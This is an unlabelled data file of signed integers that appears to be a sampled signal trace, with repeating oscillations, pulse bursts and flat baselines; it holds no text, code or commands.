+-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +0 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +0 +-1 +-1 +-2 +-2 +-2 +-2 +-5 +-6 +-6 +-4 +-3 +-1 +0 +1 +1 +2 +1 +0 +0 +0 +0 +2 +2 +3 +3 +3 +3 +4 +3 +3 +3 +3 +3 +2 +1 +1 +1 +2 +1 +2 +1 +1 +0 +0 +-1 +0 +0 +0 +0 +0 +0 +0 +-1 +-1 +-1 +0 +0 +0 +-1 +-1 +-1 +-2 +-2 +-2 +5 +24 +42 +57 +66 +69 +68 +65 +61 +57 +53 +50 +46 +44 +40 +37 +27 +10 +-7 +-23 +-36 +-44 +-47 +-46 +-46 +-45 +-43 +-41 +-39 +-37 +-35 +-34 +-25 +-6 +14 +31 +42 +48 +49 +48 +46 +45 +41 +39 +37 +35 +33 +30 +21 +5 +-12 +-27 +-40 +-47 +-49 +-48 +-49 +-47 +-46 +-43 +-41 +-39 +-36 +-35 +-27 +-8 +12 +29 +39 +46 +47 +46 +45 +43 +40 +38 +36 +35 +33 +29 +21 +5 +-13 +-28 +-40 +-47 +-49 +-49 +-50 +-48 +-46 +-43 +-41 +-38 +-36 +-35 +-27 +-9 +13 +30 +40 +46 +46 +46 +43 +41 +38 +37 +36 +35 +32 +28 +20 +4 +-13 +-28 +-40 +-47 +-51 +-52 +-51 +-48 +-45 +-42 +-40 +-38 +-36 +-35 +-27 +-8 +13 +30 +39 +45 +46 +45 +44 +41 +39 +37 +35 +33 +31 +28 +20 +4 +-13 +-29 +-41 +-47 +-50 +-51 +-49 +-47 +-45 +-42 +-41 +-38 +-36 +-35 +-28 +-9 +12 +29 +39 +45 +46 +46 +43 +41 +38 +36 +35 +33 +31 +29 +20 +4 +-13 +-29 +-41 +-48 +-50 +-51 +-50 +-47 +-44 +-42 +-40 +-37 +-36 +-35 +-34 +-33 +-31 +-28 +-27 +-25 +-23 +-21 +-19 +-18 +-17 +-16 +-15 +-13 +-13 +-14 +-6 +12 +31 +47 +56 +61 +61 +58 +55 +52 +49 +46 +43 +42 +39 +36 +32 +29 +26 +26 +24 +23 +22 +21 +20 +18 +16 +16 +14 +14 +12 +10 +3 +-12 +-28 +-42 +-54 +-59 +-62 +-62 +-60 +-57 +-53 +-50 +-48 +-44 +-42 +-41 +-33 +-14 +7 +24 +34 +40 +42 +42 +40 +37 +35 +34 +32 +31 +28 +26 +17 +1 +-16 +-31 +-43 +-49 +-52 +-53 +-51 +-48 +-45 +-43 +-41 +-38 +-37 +-36 +-29 +-10 +12 +29 +39 +45 +47 +45 +42 +39 +37 +37 +34 +33 +30 +28 +19 +3 +-14 +-29 +-41 +-48 +-51 +-52 +-51 +-47 +-44 +-41 +-40 +-37 +-36 +-36 +-28 +-9 +12 +30 +40 +45 +46 +45 +43 +41 +38 +37 +35 +33 +30 +27 +19 +4 +-13 +-28 +-41 +-48 +-52 +-52 +-50 +-46 +-43 +-41 +-40 +-38 +-36 +-35 +-34 +-32 +-30 +-28 +-27 +-26 +-24 +-21 +-19 +-18 +-17 +-15 +-15 +-14 +-14 +-15 +-6 +12 +31 +46 +55 +61 +60 +58 +55 +52 +49 +46 +43 +42 +39 +36 +25 +8 +-10 +-25 +-38 +-45 +-48 +-47 +-46 +-44 +-42 +-39 +-36 +-35 +-34 +-33 +-25 +-5 +15 +33 +43 +49 +48 +46 +44 +42 +39 +37 +35 +34 +31 +28 +18 +2 +-15 +-30 +-42 +-49 +-52 +-52 +-50 +-47 +-44 +-41 +-39 +-37 +-36 +-35 +-26 +-8 +13 +31 +41 +47 +46 +45 +43 +41 +38 +36 +34 +33 +30 +26 +18 +2 +-15 +-30 +-43 +-50 +-53 +-52 +-51 +-47 +-43 +-41 +-39 +-37 +-36 +-35 +-27 +-8 +13 +32 +41 +47 +47 +45 +43 +41 +39 +37 +34 +33 +30 +26 +24 +22 +21 +21 +19 +18 +17 +16 +14 +14 +14 +13 +12 +11 +9 +7 +0 +-14 +-31 +-44 +-55 +-62 +-65 +-64 +-60 +-56 +-53 +-50 +-47 +-45 +-44 +-44 +-35 +-15 +6 +23 +33 +40 +42 +41 +38 +36 +34 +33 +31 +29 +27 +25 +16 +0 +-16 +-31 +-43 +-51 +-54 +-53 +-51 +-48 +-45 +-42 +-40 +-38 +-38 +-37 +-29 +-9 +11 +28 +38 +44 +45 +44 +42 +40 +38 +36 +33 +32 +29 +27 +18 +3 +-15 +-29 +-42 +-49 +-53 +-51 +-49 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-34 +-32 +-31 +-29 +-28 +-25 +-24 +-21 +-19 +-18 +-17 +-17 +-16 +-14 +-14 +-14 +-7 +12 +31 +46 +55 +60 +60 +58 +54 +51 +48 +45 +43 +40 +38 +35 +32 +28 +26 +25 +24 +23 +21 +20 +19 +18 +16 +16 +15 +14 +12 +9 +1 +-13 +-29 +-43 +-54 +-60 +-63 +-62 +-59 +-56 +-52 +-49 +-47 +-45 +-44 +-43 +-34 +-14 +7 +25 +35 +41 +42 +41 +39 +38 +35 +33 +31 +30 +28 +25 +16 +1 +-16 +-31 +-43 +-51 +-53 +-52 +-51 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-28 +-10 +11 +27 +38 +44 +45 +44 +42 +40 +37 +35 +33 +32 +30 +27 +19 +3 +-15 +-30 +-42 +-50 +-52 +-51 +-49 +-47 +-44 +-42 +-40 +-38 +-36 +-36 +-34 +-33 +-32 +-29 +-27 +-25 +-23 +-21 +-19 +-18 +-18 +-17 +-16 +-15 +-14 +-15 +-7 +11 +31 +46 +55 +60 +61 +58 +55 +51 +48 +45 +42 +40 +38 +35 +25 +8 +-10 +-26 +-38 +-46 +-49 +-47 +-46 +-44 +-42 +-39 +-37 +-35 +-33 +-33 +-24 +-5 +15 +32 +42 +48 +48 +47 +44 +41 +38 +36 +34 +33 +31 +28 +18 +2 +-15 +-30 +-43 +-50 +-52 +-52 +-50 +-47 +-44 +-41 +-39 +-37 +-36 +-35 +-27 +-8 +13 +31 +41 +47 +47 +45 +43 +41 +38 +36 +34 +33 +30 +26 +24 +22 +21 +20 +18 +18 +16 +16 +14 +14 +13 +13 +11 +10 +9 +7 +-1 +-15 +-31 +-44 +-56 +-63 +-65 +-64 +-61 +-58 +-54 +-51 +-48 +-46 +-44 +-44 +-42 +-39 +-37 +-34 +-33 +-30 +-28 +-26 +-24 +-22 +-20 +-19 +-19 +-18 +-18 +-17 +-10 +9 +29 +45 +53 +58 +58 +56 +53 +49 +46 +44 +41 +39 +36 +33 +24 +7 +-11 +-27 +-39 +-45 +-48 +-49 +-47 +-44 +-42 +-40 +-38 +-35 +-33 +-33 +-25 +-6 +15 +33 +42 +48 +48 +46 +43 +40 +38 +37 +35 +33 +30 +27 +18 +2 +-15 +-30 +-43 +-50 +-53 +-53 +-50 +-46 +-43 +-41 +-40 +-38 +-37 +-36 +-27 +-8 +13 +31 +41 +46 +47 +46 +43 +41 +38 +36 +33 +32 +29 +26 +18 +2 +-15 +-31 +-43 +-50 +-53 +-53 +-51 +-47 +-44 +-42 +-40 +-38 +-36 +-35 +-27 +-8 +13 +30 +40 +45 +46 +45 +43 +40 +37 +35 +33 +32 +30 +27 +18 +2 +-16 +-31 +-43 +-51 +-54 +-53 +-51 +-47 +-44 +-41 +-40 +-38 +-36 +-35 +-27 +-8 +13 +30 +40 +46 +46 +46 +43 +41 +37 +35 +33 +32 +29 +26 +18 +2 +-16 +-31 +-44 +-51 +-54 +-53 +-50 +-47 +-44 +-41 +-40 +-37 +-35 +-34 +-26 +-8 +13 +29 +39 +45 +47 +46 +43 +39 +37 +35 +33 +32 +29 +26 +24 +22 +19 +19 +18 +17 +16 +15 +14 +13 +13 +12 +11 +11 +10 +7 +-1 +-15 +-31 +-45 +-56 +-63 +-65 +-64 +-61 +-58 +-54 +-50 +-48 +-46 +-44 +-43 +-42 +-40 +-38 +-35 +-32 +-29 +-28 +-26 +-25 +-22 +-21 +-20 +-19 +-17 +-17 +-18 +-10 +9 +29 +45 +53 +58 +58 +55 +52 +49 +46 +44 +41 +38 +36 +33 +24 +7 +-11 +-26 +-39 +-47 +-51 +-50 +-47 +-44 +-42 +-40 +-37 +-35 +-35 +-34 +-25 +-5 +15 +31 +41 +47 +48 +46 +44 +41 +38 +36 +34 +32 +30 +28 +18 +2 +-16 +-31 +-43 +-50 +-53 +-52 +-50 +-47 +-45 +-41 +-39 +-36 +-36 +-36 +-27 +-8 +13 +30 +40 +46 +48 +45 +42 +40 +37 +36 +33 +32 +29 +26 +17 +1 +-16 +-31 +-43 +-51 +-54 +-54 +-51 +-47 +-44 +-41 +-40 +-37 +-37 +-36 +-28 +-8 +14 +31 +40 +45 +46 +45 +42 +39 +37 +34 +30 +28 +25 +22 +7 +-13 +-33 +-50 +-66 +-80 +-92 +-101 +-107 +-109 +-108 +-105 +-100 +-93 +-87 +-80 +-76 +-71 +-66 +-62 +-58 +-54 +-50 +-45 +-43 +-40 +-39 +-36 +-34 +-33 +-31 +-28 +-26 +-24 +-24 +-22 +-21 +-20 +-19 +-18 +-16 +-15 +-16 +-15 +-14 +-13 +-13 +-12 +-11 +-10 +-11 +-11 +-10 +-9 +-9 +-8 +-8 +-7 +-8 +-7 +-8 +-8 +-7 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-5 +-5 +-4 +-5 +-4 +-5 +-5 +-6 +-6 +-5 +-4 +-4 +-4 +-5 +-4 +-4 +-4 +-4 +-3 +-4 +-3 +-5 +-4 +-4 +-3 +-4 +-3 +-3 +-3 +-3 +-4 +-4 +-3 +-3 +-3 +-4 +-4 +-24 +-41 +-57 +-70 +-83 +-94 +-104 +-112 +-116 +-5 +49 +57 +45 +28 +13 +5 +3 +9 +15 +19 +20 +18 +-4 +-23 +-40 +-56 +-70 +-82 +-93 +-102 +-105 +9 +63 +71 +57 +40 +24 +15 +15 +19 +23 +27 +28 +27 +23 +21 +19 +18 +17 +16 +16 +15 +-6 +-25 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +6 +58 +66 +53 +36 +20 +12 +12 +16 +20 +24 +25 +25 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-102 +12 +65 +72 +59 +42 +26 +17 +16 +20 +24 +27 +28 +27 +4 +-16 +-34 +-50 +-65 +-78 +-89 +-99 +-101 +14 +67 +74 +60 +42 +27 +18 +17 +21 +25 +29 +29 +28 +25 +23 +21 +19 +18 +18 +17 +16 +-6 +-25 +-42 +-57 +-71 +-83 +-94 +-104 +-107 +7 +60 +68 +54 +37 +21 +13 +13 +18 +22 +25 +26 +25 +22 +20 +18 +17 +16 +15 +14 +14 +-7 +-26 +-43 +-59 +-72 +-84 +-95 +-104 +-107 +6 +60 +67 +53 +36 +21 +12 +11 +17 +21 +25 +25 +23 +1 +-19 +-37 +-53 +-67 +-79 +-91 +-100 +-103 +12 +66 +73 +59 +42 +26 +17 +16 +19 +24 +28 +29 +28 +24 +22 +20 +18 +17 +17 +17 +16 +-6 +-25 +-42 +-57 +-71 +-83 +-94 +-103 +-106 +6 +60 +67 +53 +36 +21 +13 +13 +17 +21 +24 +25 +24 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-102 +13 +65 +72 +59 +41 +25 +16 +16 +21 +26 +28 +28 +27 +23 +21 +19 +19 +18 +17 +16 +15 +-6 +-26 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +7 +60 +68 +54 +37 +21 +12 +11 +15 +21 +26 +26 +25 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-103 +11 +65 +73 +59 +41 +25 +17 +15 +19 +24 +28 +29 +27 +4 +-16 +-34 +-50 +-65 +-77 +-89 +-99 +-101 +13 +66 +75 +61 +43 +27 +18 +17 +21 +25 +29 +30 +28 +25 +22 +20 +19 +19 +18 +17 +16 +-6 +-25 +-42 +-57 +-71 +-83 +-94 +-103 +-107 +6 +59 +67 +53 +37 +21 +12 +11 +16 +21 +25 +26 +24 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-102 +12 +66 +72 +58 +41 +25 +17 +15 +19 +24 +28 +29 +27 +4 +-16 +-34 +-50 +-65 +-78 +-89 +-99 +-101 +14 +66 +74 +59 +41 +26 +18 +17 +21 +25 +29 +29 +27 +24 +22 +21 +20 +18 +17 +16 +16 +-6 +-25 +-43 +-58 +-72 +-83 +-94 +-104 +-106 +7 +60 +68 +54 +36 +21 +12 +12 +17 +22 +25 +25 +24 +1 +-18 +-36 +-52 +-67 +-79 +-90 +-100 +-103 +12 +65 +73 +59 +41 +26 +17 +15 +20 +25 +29 +29 +27 +24 +22 +19 +18 +18 +18 +17 +16 +-6 +-25 +-43 +-58 +-72 +-83 +-95 +-104 +-107 +5 +58 +67 +53 +36 +21 +13 +12 +16 +20 +24 +26 +25 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-102 +12 +65 +72 +58 +41 +24 +16 +16 +21 +25 +27 +28 +27 +4 +-16 +-35 +-51 +-65 +-78 +-89 +-99 +-101 +14 +67 +74 +60 +42 +26 +17 +16 +21 +26 +29 +29 +28 +24 +22 +20 +19 +18 +18 +16 +15 +-7 +-26 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +6 +60 +67 +54 +36 +21 +13 +12 +17 +22 +25 +26 +24 +1 +-19 +-37 +-52 +-67 +-79 +-91 +-100 +-102 +13 +66 +73 +58 +40 +25 +17 +16 +20 +25 +28 +29 +27 +24 +22 +20 +19 +17 +16 +16 +16 +-6 +-25 +-42 +-57 +-71 +-83 +-94 +-104 +-106 +6 +58 +66 +52 +35 +20 +12 +11 +17 +22 +25 +25 +24 +21 +19 +17 +16 +15 +15 +14 +13 +-8 +-27 +-44 +-59 +-73 +-85 +-96 +-105 +-108 +5 +59 +66 +52 +35 +20 +12 +11 +16 +21 +24 +25 +23 +0 +-19 +-37 +-53 +-67 +-80 +-91 +-100 +-103 +12 +65 +73 +59 +41 +24 +16 +16 +21 +25 +28 +29 +27 +23 +20 +18 +18 +18 +17 +15 +15 +-7 +-26 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +5 +58 +66 +53 +36 +21 +13 +12 +17 +22 +25 +26 +24 +2 +-18 +-36 +-52 +-67 +-79 +-90 +-100 +-102 +13 +65 +72 +58 +40 +24 +16 +15 +20 +25 +28 +28 +26 +23 +22 +20 +19 +18 +17 +15 +14 +-7 +-27 +-44 +-59 +-72 +-84 +-95 +-104 +-107 +5 +59 +67 +54 +36 +20 +12 +11 +16 +21 +25 +26 +24 +1 +-19 +-37 +-52 +-67 +-79 +-91 +-100 +-102 +11 +64 +72 +58 +41 +25 +16 +15 +20 +24 +28 +29 +27 +4 +-16 +-34 +-50 +-65 +-77 +-89 +-99 +-101 +14 +66 +73 +60 +42 +26 +17 +16 +21 +25 +28 +29 +28 +25 +22 +20 +18 +17 +18 +16 +15 +-6 +-26 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +5 +59 +66 +52 +35 +20 +12 +11 +16 +21 +25 +26 +24 +1 +-19 +-37 +-52 +-67 +-79 +-91 +-100 +-102 +13 +65 +73 +59 +41 +25 +17 +16 +20 +24 +28 +30 +28 +24 +22 +20 +19 +17 +16 +16 +16 +14 +13 +11 +11 +10 +9 +8 +8 +15 +26 +36 +46 +54 +60 +62 +61 +60 +56 +52 +48 +45 +43 +41 +38 +35 +33 +30 +29 +26 +24 +23 +21 +19 +17 +16 +15 +15 +14 +12 +11 +9 +9 +8 +7 +6 +5 +3 +0 +-3 +-2 +-1 +1 +2 +3 +3 +3 +2 +2 +2 +3 +2 +2 +1 +1 +1 +0 +0 +0 +0 +0 +-1 +-1 +-2 +-1 +-2 +-2 +-1 +-1 +-2 +-3 +-3 +-2 +-3 +-2 +-3 +-2 +-3 +-2 +-3 +-3 +-3 +-2 +-2 +-3 +-3 +-3 +-3 +-4 +-4 +-3 +-3 +-3 +-3 +-3 +-4 +-4 +-5 +-4 +-3 +-3 +-3 +-4 +-4 +-4 +-4 +-4 +-4 +-3 +-3 +-3 +-4 +-4 +-5 +-4 +-4 +-4 +-4 +-4 +-3 +-3 +-3 +-1 +-1 +0 +-1 +0 +0 +0 +-1 +-1 +-1 +0 +-1 +-1 +-1 +-1 +-2 +-2 +-2 +-1 +-1 +-2 +-3 +-2 +-3 +-2 +-3 +-2 +-2 +-2 +-3 +-4 +-3 +-3 +-3 +-3 +-4 +-3 +-4 +-4 +-5 +-4 +-4 +-3 +3 +21 +40 +54 +62 +65 +63 +61 +57 +54 +50 +47 +44 +41 +37 +34 +25 +8 +-10 +-26 +-39 +-46 +-48 +-47 +-47 +-46 +-45 +-43 +-41 +-39 +-36 +-35 +-27 +-9 +12 +29 +39 +45 +46 +45 +43 +41 +38 +36 +35 +33 +30 +27 +18 +3 +-14 +-29 +-42 +-48 +-51 +-52 +-52 +-49 +-47 +-44 +-43 +-40 +-38 +-38 +-29 +-10 +11 +29 +37 +43 +44 +44 +42 +39 +37 +35 +33 +32 +29 +26 +18 +3 +-15 +-30 +-43 +-49 +-52 +-52 +-51 +-49 +-46 +-45 +-43 +-40 +-38 +-36 +-29 +-10 +10 +27 +37 +42 +44 +44 +41 +38 +36 +34 +33 +31 +28 +26 +18 +2 +-16 +-31 +-43 +-49 +-52 +-53 +-51 +-49 +-47 +-44 +-42 +-39 +-38 +-37 +-30 +-10 +10 +28 +38 +43 +44 +43 +41 +39 +36 +35 +33 +32 +28 +26 +17 +1 +-16 +-31 +-43 +-49 +-52 +-53 +-51 +-49 +-46 +-44 +-42 +-39 +-38 +-38 +-37 +-35 +-33 +-30 +-29 +-27 +-25 +-23 +-21 +-21 +-20 +-18 +-17 +-16 +-16 +-16 +-9 +9 +29 +45 +54 +59 +59 +55 +52 +50 +47 +44 +41 +40 +36 +33 +23 +6 +-11 +-27 +-39 +-46 +-49 +-50 +-48 +-47 +-44 +-41 +-39 +-36 +-36 +-35 +-26 +-7 +14 +30 +41 +47 +46 +44 +42 +40 +38 +36 +33 +32 +29 +26 +16 +1 +-16 +-31 +-43 +-50 +-53 +-53 +-51 +-48 +-46 +-42 +-40 +-39 +-38 +-37 +-28 +-8 +12 +29 +39 +45 +45 +43 +41 +39 +37 +35 +32 +30 +27 +25 +16 +0 +-17 +-32 +-44 +-52 +-54 +-53 +-51 +-48 +-46 +-43 +-41 +-39 +-39 +-37 +-28 +-9 +12 +28 +38 +44 +44 +43 +41 +39 +36 +34 +31 +31 +28 +25 +16 +0 +-17 +-32 +-44 +-52 +-54 +-53 +-51 +-49 +-47 +-44 +-41 +-39 +-38 +-37 +-28 +-9 +11 +28 +38 +45 +45 +44 +40 +39 +36 +34 +32 +31 +29 +25 +22 +21 +19 +19 +17 +15 +14 +14 +13 +12 +11 +11 +10 +9 +6 +5 +-2 +-16 +-32 +-46 +-57 +-64 +-67 +-65 +-62 +-58 +-54 +-52 +-50 +-48 +-45 +-44 +-36 +-16 +4 +22 +31 +37 +39 +39 +37 +35 +32 +30 +28 +27 +25 +22 +14 +-1 +-18 +-32 +-45 +-52 +-55 +-54 +-52 +-49 +-46 +-44 +-43 +-40 +-38 +-37 +-37 +-35 +-33 +-31 +-30 +-28 +-25 +-23 +-21 +-20 +-19 +-19 +-18 +-17 +-17 +-16 +-8 +9 +28 +44 +53 +58 +58 +55 +52 +49 +46 +43 +39 +38 +35 +32 +29 +26 +24 +23 +21 +20 +19 +19 +18 +16 +14 +13 +12 +11 +9 +8 +0 +-14 +-30 +-44 +-56 +-62 +-65 +-64 +-61 +-57 +-54 +-51 +-49 +-45 +-43 +-43 +-42 +-40 +-38 +-36 +-35 +-31 +-29 +-26 +-25 +-24 +-23 +-21 +-20 +-19 +-18 +-18 +-11 +7 +26 +43 +52 +57 +56 +54 +51 +48 +44 +42 +40 +38 +35 +31 +28 +26 +24 +23 +21 +20 +19 +18 +16 +15 +14 +14 +13 +11 +9 +7 +0 +-15 +-31 +-45 +-56 +-62 +-65 +-65 +-62 +-58 +-54 +-51 +-49 +-46 +-45 +-45 +-43 +-40 +-37 +-34 +-33 +-31 +-29 +-27 +-26 +-24 +-22 +-20 +-20 +-19 +-19 +-19 +-11 +7 +27 +43 +52 +56 +55 +54 +51 +48 +45 +42 +39 +38 +35 +31 +29 +26 +24 +22 +20 +19 +18 +18 +16 +15 +14 +14 +12 +11 +9 +7 +0 +-15 +-31 +-45 +-56 +-62 +-65 +-64 +-61 +-57 +-54 +-52 +-49 +-46 +-45 +-45 +-43 +-41 +-38 +-36 +-34 +-31 +-29 +-27 +-26 +-24 +-22 +-20 +-20 +-19 +-18 +-19 +-11 +7 +26 +43 +52 +57 +56 +53 +50 +48 +45 +42 +40 +38 +35 +31 +28 +26 +25 +23 +20 +20 +18 +17 +16 +15 +14 +13 +12 +10 +9 +7 +-1 +-15 +-31 +-44 +-55 +-62 +-66 +-64 +-61 +-57 +-54 +-51 +-49 +-46 +-46 +-45 +-43 +-40 +-38 +-35 +-34 +-31 +-29 +-27 +-26 +-23 +-22 +-20 +-19 +-19 +-19 +-19 +-11 +7 +27 +44 +52 +56 +55 +53 +51 +48 +45 +42 +40 +38 +34 +30 +22 +5 +-12 +-27 +-40 +-47 +-50 +-50 +-49 +-46 +-43 +-40 +-39 +-37 +-36 +-35 +-27 +-8 +13 +30 +40 +46 +46 +44 +42 +39 +36 +34 +32 +31 +28 +25 +22 +21 +20 +19 +16 +16 +15 +14 +13 +12 +11 +11 +10 +8 +7 +5 +-2 +-16 +-32 +-46 +-57 +-63 +-67 +-66 +-63 +-58 +-55 +-52 +-50 +-47 +-46 +-45 +-44 +-41 +-38 +-35 +-34 +-31 +-29 +-27 +-26 +-24 +-22 +-20 +-20 +-20 +-19 +-19 +-11 +7 +27 +43 +52 +56 +55 +54 +51 +48 +45 +42 +39 +37 +34 +31 +22 +6 +-12 +-27 +-40 +-47 +-50 +-50 +-48 +-46 +-43 +-41 +-40 +-37 +-36 +-35 +-26 +-8 +13 +30 +39 +45 +45 +44 +42 +39 +36 +34 +32 +31 +28 +25 +22 +21 +19 +18 +16 +16 +15 +14 +13 +12 +11 +11 +9 +8 +7 +6 +-1 +-16 +-32 +-45 +-56 +-63 +-66 +-65 +-62 +-59 +-56 +-53 +-50 +-47 +-46 +-45 +-44 +-41 +-38 +-36 +-34 +-32 +-30 +-28 +-26 +-24 +-23 +-20 +-20 +-19 +-20 +-19 +-11 +7 +27 +42 +51 +56 +55 +53 +51 +48 +44 +41 +39 +37 +34 +30 +21 +5 +-12 +-28 +-41 +-48 +-50 +-50 +-48 +-46 +-44 +-41 +-39 +-37 +-36 +-35 +-26 +-8 +12 +30 +40 +46 +46 +44 +41 +39 +36 +34 +32 +31 +28 +25 +15 +0 +-17 +-32 +-44 +-51 +-54 +-54 +-52 +-49 +-45 +-43 +-41 +-39 +-38 +-37 +-28 +-9 +12 +29 +39 +44 +43 +42 +40 +38 +35 +33 +32 +30 +27 +24 +15 +0 +-17 +-32 +-45 +-52 +-55 +-54 +-52 +-49 +-45 +-42 +-41 +-39 +-38 +-37 +-28 +-9 +12 +29 +38 +43 +43 +42 +40 +38 +35 +33 +31 +29 +27 +24 +22 +21 +19 +17 +15 +14 +14 +13 +12 +11 +10 +10 +9 +8 +6 +5 +-2 +-17 +-33 +-46 +-57 +-63 +-66 +-65 +-62 +-59 +-55 +-52 +-50 +-47 +-46 +-45 +-43 +-41 +-38 +-36 +-34 +-32 +-30 +-27 +-26 +-24 +-22 +-21 +-20 +-20 +-20 +-19 +-11 +7 +26 +42 +51 +55 +54 +53 +50 +47 +44 +41 +39 +37 +34 +30 +27 +25 +23 +22 +20 +19 +17 +17 +16 +14 +14 +13 +11 +10 +8 +7 +0 +-15 +-31 +-45 +-56 +-62 +-65 +-64 +-61 +-57 +-54 +-52 +-49 +-47 +-46 +-45 +-43 +-41 +-38 +-36 +-34 +-32 +-29 +-27 +-25 +-24 +-22 +-21 +-20 +-19 +-19 +-18 +-11 +6 +26 +41 +51 +56 +55 +53 +50 +48 +45 +42 +39 +37 +34 +30 +27 +25 +23 +22 +19 +19 +18 +17 +16 +14 +13 +13 +11 +10 +8 +7 +0 +-15 +-31 +-45 +-56 +-62 +-65 +-64 +-62 +-58 +-55 +-52 +-50 +-46 +-45 +-44 +-43 +-41 +-39 +-35 +-34 +-31 +-29 +-27 +-25 +-24 +-23 +-21 +-20 +-19 +-19 +-20 +-12 +7 +27 +42 +51 +56 +56 +53 +50 +47 +45 +42 +39 +37 +33 +31 +21 +5 +-12 +-28 +-40 +-47 +-51 +-51 +-48 +-45 +-43 +-41 +-39 +-37 +-37 +-37 +-28 +-8 +13 +29 +39 +44 +45 +44 +41 +39 +36 +33 +29 +26 +23 +20 +5 +-15 +-34 +-51 +-67 +-80 +-93 +-102 +-108 +-110 +-109 +-106 +-102 +-97 +-93 +-88 +-83 +-77 +-73 +-68 +-61 +-56 +-52 +-50 +-49 +-47 +-44 +-41 +-40 +-38 +-36 +-34 +-33 +-31 +-29 +-25 +-23 +-21 +-21 +-20 +-17 +-17 +-17 +-18 +-17 +-16 +-16 +-16 +-17 +-15 +-14 +-12 +-12 +-12 +-12 +-13 +-15 +-14 +-14 +-13 +-14 +-13 +-13 +-12 +-11 +-12 +-11 +-10 +-10 +-10 +-10 +-9 +-9 +-8 +-9 +-9 +-8 +-7 +-7 +-8 +-8 +-7 +-7 +-7 +-7 +-7 +-7 +-7 +-7 +-7 +-6 +-6 +-6 +-7 +-7 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-5 +-6 +-6 +-5 +-4 +-5 +-5 +-6 +-5 +-5 +-5 +-5 +-6 +-5 +-5 +-6 +-6 +-6 +-5 +-5 +-5 +-6 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-6 +-5 +-5 +-5 +-6 +-6 +-5 +-4 +-5 +-5 +-5 +-4 +-5 +-5 +-5 +-4 +-5 +-6 +-6 +-5 +-5 +-4 +-6 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-4 +-5 +-6 +-5 +-5 +-4 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-5 +-5 +-6 +-6 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-6 +-5 +-4 +-5 +-5 +-6 +-5 +-5 +-5 +-6 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-5 +-5 +-6 +-5 +-5 +-5